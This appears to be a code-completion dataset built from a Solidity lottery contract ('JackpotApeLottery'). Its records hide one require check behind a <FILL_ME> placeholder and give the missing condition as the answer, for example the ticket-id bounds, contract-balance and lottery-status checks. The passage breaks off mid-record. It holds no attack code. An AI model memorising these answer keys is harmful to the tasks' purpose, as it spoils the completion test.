rewardInTicketTokenToTransfer; for (uint256 i = 0; i < _ticketIds.length; i++) { uint256 thisTicketId = _ticketIds[i]; require(_lotteries[_lotteryId].firstTicketIdNextLottery > thisTicketId, "TicketId too high"); require(<FILL_ME>) require(msg.sender == _tickets[thisTicketId].owner, "Not the owner"); // Update the lottery ticket owner to 0x address _tickets[thisTicketId].owner = address(0); uint256 rewardForTicketId = _calculateRewardsForTicketId(_lotteryId, thisTicketId); // Check user is claiming the correct bracket require(rewardForTicketId != 0, "No prize for this bracket"); // Increment the reward to transfer rewardInTicketTokenToTransfer += rewardForTicketId; } require(address(this).balance >= rewardInTicketTokenToTransfer, "Insufficient balance"); // Transfer money to msg.sender (bool success, ) = msg.sender.call{value: rewardInTicketTokenToTransfer}(""); require(success, "Error to claim reward."); emit TicketsClaim(msg.sender, rewardInTicketTokenToTransfer, _lotteryId, _ticketIds.length); } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner { } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
_lotteries[_lotteryId].firstTicketId<=thisTicketId,"TicketId too low"
99,547
_lotteries[_lotteryId].firstTicketId<=thisTicketId
"Insufficient balance"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override notContract nonReentrant { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { require(_ticketIds.length != 0, "Length must be >0"); require(_ticketIds.length <= maxNumberTicketsPerBuyOrClaim, "Too many tickets"); require(_lotteries[_lotteryId].status == Status.Claimable, "Lottery not claimable"); // Initializes the rewardInTicketTokenToTransfer uint256 rewardInTicketTokenToTransfer; for (uint256 i = 0; i < _ticketIds.length; i++) { uint256 thisTicketId = _ticketIds[i]; require(_lotteries[_lotteryId].firstTicketIdNextLottery > thisTicketId, "TicketId too high"); require(_lotteries[_lotteryId].firstTicketId <= thisTicketId, "TicketId too low"); require(msg.sender == _tickets[thisTicketId].owner, "Not the owner"); // Update the lottery ticket owner to 0x address _tickets[thisTicketId].owner = address(0); uint256 rewardForTicketId = _calculateRewardsForTicketId(_lotteryId, thisTicketId); // Check user is claiming the correct bracket require(rewardForTicketId != 0, "No prize for this bracket"); // Increment the reward to transfer rewardInTicketTokenToTransfer += rewardForTicketId; } require(<FILL_ME>) // Transfer money to msg.sender (bool success, ) = msg.sender.call{value: rewardInTicketTokenToTransfer}(""); require(success, "Error to claim reward."); emit TicketsClaim(msg.sender, rewardInTicketTokenToTransfer, _lotteryId, _ticketIds.length); } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner { } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
address(this).balance>=rewardInTicketTokenToTransfer,"Insufficient balance"
99,547
address(this).balance>=rewardInTicketTokenToTransfer
"Lottery not close"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override notContract nonReentrant { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { require(<FILL_ME>) require(_lotteryId != randomGenerator.viewLatestLotteryId(), "Numbers already generated"); // Request a random number from the generator based on a seed randomGenerator.getRandomNumber(); } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner { } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
_lotteries[_lotteryId].status==Status.Close,"Lottery not close"
99,547
_lotteries[_lotteryId].status==Status.Close
"Lottery not in claimable"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override notContract nonReentrant { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { require(<FILL_ME>) // Request a random number IJackpotApeRandomGenerator(_randomGeneratorAddress).getRandomNumber(); // Calculate the finalNumber based on the randomResult generated by ChainLink's fallback IJackpotApeRandomGenerator(_randomGeneratorAddress).viewRandomResult(); randomGenerator = IJackpotApeRandomGenerator(_randomGeneratorAddress); emit NewRandomGenerator(_randomGeneratorAddress); } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function 